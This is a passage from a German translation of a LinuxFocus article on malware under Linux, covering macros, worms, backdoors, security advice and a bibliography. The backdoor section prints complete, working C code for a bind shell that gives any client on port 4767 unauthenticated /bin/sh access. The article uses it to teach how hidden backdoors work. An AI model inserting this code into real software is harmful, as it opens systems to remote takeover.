Zuletzt, ein wichtiger Teil von Viren und Trojansichen Pferde, die unter Windows schädlich sind, sind Macros, die ausgeführt werden, wenn ein Dokument aufgesucht wird. Die Produktivitätspakete unter Linux sind nicht in der Lage, diese Macros zu interpretieren, zumindest momentan, und der Benutzer bekommt schnell ein übertriebenes Gefühl von Sicheheit. Es wird eine Zeit kommen, wenn diese Werkzeuge in der Lage sein werden, die Basic macros, die in dem Dokument enthalten sind, auszuführen. Die Tatsache, daß Designer die schlechte Idee haben, diese Macros Befehle auf dem System laufen zu lassen, wird früher oder später geschehen. Sicher, wie bei Viren ist die zerstörerische Wirkung durch die Benutzerprivilegien begrenzt, aber die Tatsache, nicht die Systemdateien verloren zu haben, die sowieso auf der Installations–CD noch vorhanden sind) ist nur ein schwacher Trost für einen Benutzer, der gerade alle seine Dokumente verloren hat, seine Quelldateien, seine Email, während sein letztes Backup einen Monat alt ist.

Um diesen Abschnitt über Trojanische Pferde, die in Daten enthalten sind, zu beenden, laßt uns anmerken, daß es immer einen Weg gibt, um den Benutzer zu ärgern. Auf dem Usenet kann man abundzu komprimeirte Dateien sehen, die sich in einen Haufen von Dateinen multiplizieren bis die Festplatte voll ist. Einige Postscriptdateien snd auch in der Lage, den Interpreter zu blockieren (`ghostscript` oder `gv`) durch Verschwenden von CPU Zeit. Sie sind nicht schädlich, aber der Benutzer verliert Zeit und sie sind ärgerlich.

Würmer

Linux existeirte zu der Zeit des 1988 Internet Worm nicht; es wäre das Wunschziel für eine solche art von Angriff, die Verfügbarkeit von freien Softwarequellen macht die Suche nach Verwundbarkeiten sehr einfach (buffer overflows, zum Beispiel). Die Komplexität für das Schreiben eines Wurms "guter Qualität" reduziert die Anzahl derer, die wirklich unter Linux aktiv sind. Tabelle 2 präsentiert einige davon, darunter die am häufigsten verbreitesten.

Die Würmer nutzen Netzwerkverwundbarkeiten aus. Für Workstations, die nur abundzu mit dem Internet verbunden sind, ist das Risiko theoretisch geringer als für Server, die perament verbunden sind. Aber die Evolution der Verbindungstypen, die dem home−Benutzer zur Verfügung stehen (Kabel, SDL, etc.) und die Einfachheit der Implementation aktueller Netzwerkdienste (HTTP Server, anonymous FTP, etc.) implizieren, daß es schnell ein Anliegen für jeden werden kann.

Tablele 2 − Würmer unter Linux

Name	*Verwundbarkeiten*	*Bemerkungen*
Lion (`1i0n`)	`bind`	Installiert eine Hintertür (TCP port 10008) und ein *root−kit* auf der eingedrungenen Maschine. Schickt Systeminformationen an eine Emailadresse in China.
Ramen	`lpr`, `nfs`, `wu-ftpd`	ändert die `index.html` Dateien, die es findet
Adore (Red Worm)	`bind`, `lpr`, `rpc`, `wu-ftpd`	Installiert eine Hintertür in dem Sytem und schickt Informatiotnen an eine Emailadresse in China und den USA. Installiert eine modifizierte `ps` Version, um seine Prozesse zu verstecken.
Cheese	wie Lion	Wurm, eingeführt als ein netter Helfer, überprüft und entfernt die Hintertüren, die von *Lion* geöffnet wurden.

Über Würmer kann man sagen, daß ihre Verbreitung Zeitbegrenzt ist. Sie "überleben" durch Sich−Vermehren von einem System zum anderen und da sie von neu entdeckten Verwundbarkeiten abhängen, stoppen schnelle Updates der Zielapplikationen ihre Verbreitung. In naher Zukunft ist es wahrscheinlich, daß Heimsysteme automatisch Referenzwebseiten konsultieren müssen (jeden Tag) − denen man trauen kann − um ihre Sicherheitspatche für Systemapplikationen zu finden. Dies wird notwendig werden, um zu verhindern, daß der Benutzer Vollzeit als Systemadministrator arbeiten muß.

Hintertüren

Das Hintertürproblem ist wichtig, auch für freie Software. Natürlich kann man, wenn der Quellcode eines Programms verfügbar ist, theoretisch überprüfen, was es macht. Tatsächlich lesen nur sehr wenige Leute den Code, der aus dem Internet geladen wurde. Zum Beispiel enthält das kleine Programm unten eine vollständige Hintertür, weil es klein ist, erlaubt es, sich in genügend großen Applikationen zu verstecken. Dieses Programm wurde von einem Beispiel aus meinem Buch [BLAESS 00] abgeleitet, das die Mechanismen eines Pseudoterminals illustriert. Dieses Programm ist nicht sehr lesbar, da es unkommentiert ist, um es kürzer zu machen. Die meisten Fehlerüberprüfungen wurden aus demselben Grund entfernt. Wenn es ausgeführt wird, öffnet es einen TCP/IP Server auf dem zu Beginn des Programms (default 4767) erwähnten Port auf jeder Netzwerkschnittstelle der Maschine. Jede angeforderte Verbindung zu diesem Port wird automatisch auf eine Shell ohne Autentifikation zugreifen !!!

```
#define _GNU_SOURCE 500
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define ADRESSE_BACKDOOR  INADDR_ANY
#define PORT_BACKDOOR     4767
```

```
    int
main (void)
{
    int                 sock;
    int                 sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t           longueur; /* length */
    int                 sock2;
    int         pty_maitre; /* pty_master */
    int         pty_esclave; /* pty_slave */
    char *          nom_pty; /* name_pty */
    struct termios      termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set          set;
    char            buffer [4096];
    int             n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
                sizeof(sockopt));
    memset (&adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, &termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, &termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, &termios);
    cfmakeraw (&termios);
    tcsetattr (pty_maitre, TCSANOW, &termios);
    while (1) {
        FD_ZERO (&set);
        FD_SET (sock2, &set);
        FD_SET (pty_maitre, &set);
```

```
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             &set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}
```

Einfügen eines solchen Codes in eine große Applikation (`sendmail` zum Beispiel) wird lange Zeit unbemerkt bleiben, lange genug, um freche Infiltration zu erlauben. außerdem sind einige Leute fast Meister in der Kunst, die Arbeit eines Stück Codes zu verstecken, wie die Programme, die jedes Jahr zum IOCC (*International Obsfucated C Code Contest*) Wettbewerb eingereicht werden, beweisen können.

Hintertüren dürfen nicht nur als theoretische Möglichkeiten betrachtet werden. Solche Schwierigkeiten wurden wirklich angetroffen, z.B. im *Piranha* Paket von der Red−Hat 6.2 Distribution, die ein Defaultpasswort akzeptierte. Das Spiel *Quake 2* wurde ebenfalls verdächtigt, eine Hintertür zu verstecken, die entfernte Befehlsausführung erlaubte.

Die Hintertürmechanismen könne sich auch selbst in so komplexen Erscheinungen verstecken, daß sie für die meisten Leute nicht entdeckbar sind. Ein typischer Fall ist der, der Verschlüsselungssysteme betrifft. Z.B. das SE−Linuxsystem, es wurde durch Sicherheitspatche vom NSA "sicherer" gemacht. Die Linuxentwickler, die die gelieferten Patche überprüften, sagten, daß sie nichts verdächtiges gesehen haben, aber niemand kann sicher sein und nur sehr wenige Leute haben die erforderlichen mathematischen kenntnisse, um solche Verwundbarkeiten zu erkennen.

Schlußbemerkung

Betrachtet man diese schädlichen Programme, die in der Gnu/Linuxwelt gefunden wurden, erlaubt es uns zu schließen: freie Software ist nicht sicher vor Viren, Würmern, Trojanischn Pferden und anderen. Ohne zu hastig zu sein, muß man Sicherheitswarnungen, die aktuelle Applikationen betreffen, beobachten, besonders wenn die Verbindung einer Workstation zum Internet häufig ist. Es ist wichtig, sich jetzt gute Gewohnheiten anzugewöhnen: update Software sobald eine Verwundbarkeit gefunden wurde; benutzte nur die erforderlichen Netzwerkdienste; lade nur Applikationen von Webseiten, denen man trauen kann, herunter. Überprüfe sooft wie möglich die PGP oder MD5 Signaturen für die heruntergeladenen Pakete. Die "ernsthafteren" Leute werden die Kontrolle installierter Applikationen automatisieren, mit Skripten zum Beispiel.

Eine zweite Anmerkung ist erforderlich: die zwei Hauptgefahren für Linuxsysteme der Zukunft sind entweder die Produktivitätsapplikationen, die blind Macros, die in Dokumenten (einschließlich Email) enthalten sind, ausführen oder multi−plattform Viren, die, auch wenn sie unter Windows ausgeführt wurden in ausführbare Dateien, auf einer Linuxpartition auf derselben Maschine, eindringen. Während das erste Problem vom Benutzerverhalten abhängt, die ihen Produktivitaätsapplikationen nicht erlauben sollten, alles zu akzeptieren, so ist das zweite eher schwierig zu lösen, auch für einen gewissenhaften Adminsitrator. In sehr naher Zukunft müßten sehr leistungsstarke Virenscanner für Linuxworkstations, die mit dem Internet verbunden sind, implemnetiert werden. Laßt uns hoffen, daß solche Projekte sehr bald in der freien Softwarewelt auftauchen

werden.

Bibliografie

Die Anzahl von Dokumenten über Viren, Trojanische Pferde und andere Softwaregefahren ist ein wichtiger indikator; es gibt viele Texte, die über aktuelle Viren reden, wie sie arbeiten und was sie tun. Natürlich betreffen die meisten dieser Listen Dos/Windows, aber einige betreffen Linux. Die hier erwähnten Artikel sind eher klassisch und analysieren die implementierten theoretischen Mechanismen.

- [BLAESS 00] Christophe Blaess – "*C system programming unter Linux*", Eyrolles, 2000.
- [DEWDNEY 84] A.K. Dewdney – "*Computer recreations*" in *Scientific American*. Eingescannte Versionen verfügbar unter http://www.koth.org/info/sciam/
- [EICHIN 89] Mark W. Eichin & Jon A. Rochlis – "*With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988*", MIT Cambridge, 1989. Available at www.mit.edu/people/eichin/virus/main.html
- [GIBSON 01] Steve Gibson – "*The Strange Tale of the Denial of Service Attack Against GRC.COM*", 2001. Verfügbar unter http://grc.com/dos/grcdos.htm
- [KEHOE 92] Brendan P. Kehoe – "*Zen and the Art of the Internet*", 1992. Verfügbar unter ftp://ftp.lip6.fr/pub/doc/internet/
- [LUDWIG 91] Mark A. Ludwig – "*The Little Black Book of Computer Virus*", American Eagle Publications Inc., 1991.
- [LUDWIG 93] Mark A. Ludwig – "*Computer Viruses, Artificial Life and Evolution*", American Eagle Publications Inc., 1993.
- [MARSDEN 00] Anton Marsden – "*The rec.games.corewar FAQ*" verfügbar unter http://homepages.paradise.net.nz/~anton/cw/corewar−faq.html
- [MORRIS 85] Robert T. Morris – "*A Weakness in the 4.2BSD Unix TCP/IP Software*", AT&T Bell Laboratories, 1985. verfügbar unter http://www.pdos.lcs.mit.edu/~rtm/
- [SPAFFORD 88] Eugene H. Spafford – "*The Internet Worm Program: an Analysis*", Purdue University Technical Report CSD−TR−823, 1988. Verfügbar unter http://www.cerias.purdue.edu/homes/spaf/
- [SPAFFORD 91] Eugene H. Spafford – "*The Internet Worm Incident*", Purdue University Technical Report CSD−TR−933, 1991. Verfügbar unter http://www.cerias.purdue.edu/homes/spaf/
  See also **rfc1135**: The Helminthiasis of the Internet
- [SPAFFORD 94] Eugene H. Spafford – "*Computer Viruses as Artificial Life*", Journal of Artificial Life, MIT Press, 1994. Verfügbar unter http://www.cerias.purdue.edu/homes/spaf/
- [STOLL 89] Clifford Stoll – "*The Cuckcoo's egg*", Doubleday, 1989.
- [THOMPSON 84] Ken Thompson – "*Reflections on Trusting Trust*", Communication of the ACM vol.27 n°8, August 1984. Neuauflage 1995 und verfügbar unter http://www.acm.org/classics/sep95/

Webpages maintained by the LinuxFocus Editor team	Translation information:
© Christophe Blaess	fr −−> −− : Christophe Blaess (homepage)
"some rights reserved" see linuxfocus.org/license/	fr −−> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
http://www.LinuxFocus.org	en −−> de: Katja Socher <katja(at)linuxfocus.org>

2005−01−11, generated by lfparser_pdf version 2.51